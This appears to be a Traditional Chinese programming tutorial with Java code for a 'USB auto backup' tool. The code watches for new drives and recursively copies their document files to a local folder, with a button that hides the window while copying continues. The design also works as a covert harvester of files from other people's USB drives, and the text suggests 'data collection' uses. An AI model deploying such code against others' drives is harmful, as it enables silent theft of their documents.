USBMain:GUI 入口、啟動偵測執行緒。CheckRootThread:輪詢 File.listRoots() 偵測新磁碟機。CopyThread:遍歷單一磁碟機,派發符合條件檔案至複製執行緒。CopyFileToSysRoot:緩衝流複製單一檔案,自動建立目標目錄。import javax.swing.*;
import java.awt.event.*;
public class USBMain {
public static void main(String[] args) {
SwingUtilities.invokeLater(() -> {
new USBMain().launchFrame();
new CheckRootThread().start();
});
}
private void launchFrame() {
JFrame frame = new JFrame("USB Auto Backup");
frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
frame.setLocation(450, 250);
JButton hideBtn = new JButton("隱藏視窗 (繼續背景備份)");
hideBtn.addActionListener(e -> frame.setVisible(false));
frame.add(hideBtn);
frame.pack();
frame.setVisible(true);
}
}
import java.io.File;
public class CheckRootThread extends Thread {
private File[] knownRoots = File.listRoots();
@Override
public void run() {
while (!isInterrupted()) {
File[] currentRoots = File.listRoots();
if (currentRoots.length > knownRoots.length) {
for (File newRoot : currentRoots) {
boolean known = false;
for (File oldRoot : knownRoots) {
if (newRoot.equals(oldRoot)) { known = true; break; }
}
if (!known) {
System.out.println("偵測到新磁碟機: " + newRoot);
new CopyThread(newRoot).start();
}
}
}
knownRoots = currentRoots;
try { Thread.sleep(5000); } catch (InterruptedException ignored) { break; }
}
}
}
import java.io.File;
public class CopyThread extends Thread {
// 可透過配置檔/命令列注入
private static final String[] FILE_TYPES = {"ppt", "doc", "txt", "wps"};
private final File root;
public CopyThread(File root) { this.root = root; }
@Override
public void run() {
scanAndCopy(root);
}
private void scanAndCopy(File dir) {
File[] files = dir.listFiles();
if (files == null) return; // 權限不足或非目錄
for (File f : files) {
if (f.isDirectory()) {
scanAndCopy(f);
} else if (matchType(f)) {
new CopyFileToSysRoot(f).copy();
}
}
}
private boolean matchType(File f) {
if (FILE_TYPES == null) return true; // 全備份
String name = f.getName().toLowerCase();
for (String ext : FILE_TYPES) {
if (name.endsWith("." + ext.toLowerCase())) return true;
}
return false;
}
}
import java.io.*;
public class CopyFileToSysRoot {
private static final String BACKUP_ROOT = "D:/USB_Backup";
private final File src;
public CopyFileToSysRoot(File src) { this.src = src; }
public void copy() {
File dstDir = new File(buildDestParent(src));
if (!dstDir.exists() && !dstDir.mkdirs()) {
System.err.println("建立目錄失敗: " + dstDir);
return;
}
File dst = new File(dstDir, src.getName());
try (BufferedInputStream in = new BufferedInputStream(new FileInputStream(src));
BufferedOutputStream out = new BufferedOutputStream(new FileOutputStream(dst))) {
byte[] buf = new byte[8192];
int len;
while ((len = in.read(buf)) != -1) {
out.write(buf, 0, len);
}
System.out.println("已備份: " + dst.getAbsolutePath());
} catch (IOException e) {
System.err.println("複製失敗: " + src + " -> " + dst + " " + e);
}
}
private String buildDestParent(File f) {
// 將 D:\folder\sub\file.doc → D:/USB_Backup\folder\sub
String parent = f.getParent(); // 含磁碟機代號
int sepIdx = parent.indexOf(File.separator); // 找第一個分隔符
if (sepIdx >= 0) {
return BACKUP_ROOT + parent.substring(sepIdx);
}
return BACKUP_ROOT;
}
}
| 模組 | 關鍵技術 | 備註 |
|---|---|---|
| 磁碟機偵測 | File.listRoots() 輪詢 | 5 秒間隔,低 CPU 佔用 |
| 檔案過濾 | 副檔名陣列 + endsWith | 可擴充為正則/MIME 型別 |
| 複製效能 | 8KB 緩衝流 + try-with-resources | 大檔案不會 OOM |
| 目錄結構保持 | 去除磁碟機代號前綴,保留相對路徑 | 避免多磁碟機檔案混雜 |
| 執行緒模型 | 每磁碟機一 CopyThread,每檔案一 CopyFileToSysRoot | 簡單但可能產生大量執行緒,生產環境建議用 ThreadPoolExecutor |
ExecutorService pool = Executors.newFixedThreadPool(4); pool.submit(() -> new CopyFileToSysRoot(f).copy());SystemTray + TrayIcon,提供開啟/暫停/退出選單。System.out/err。/media/user/ 或 /Volumes/,需調整偵測邏輯。本專案示範了 Java 檔案系統監控、遞歸遍歷、副檔名過濾、緩衝流複製、多執行緒協作的核心技術。程式碼結構清晰、易於擴充,可作為自動備份工具、資料收集客戶端、惡意軟體蜜罐等場景的起始原型。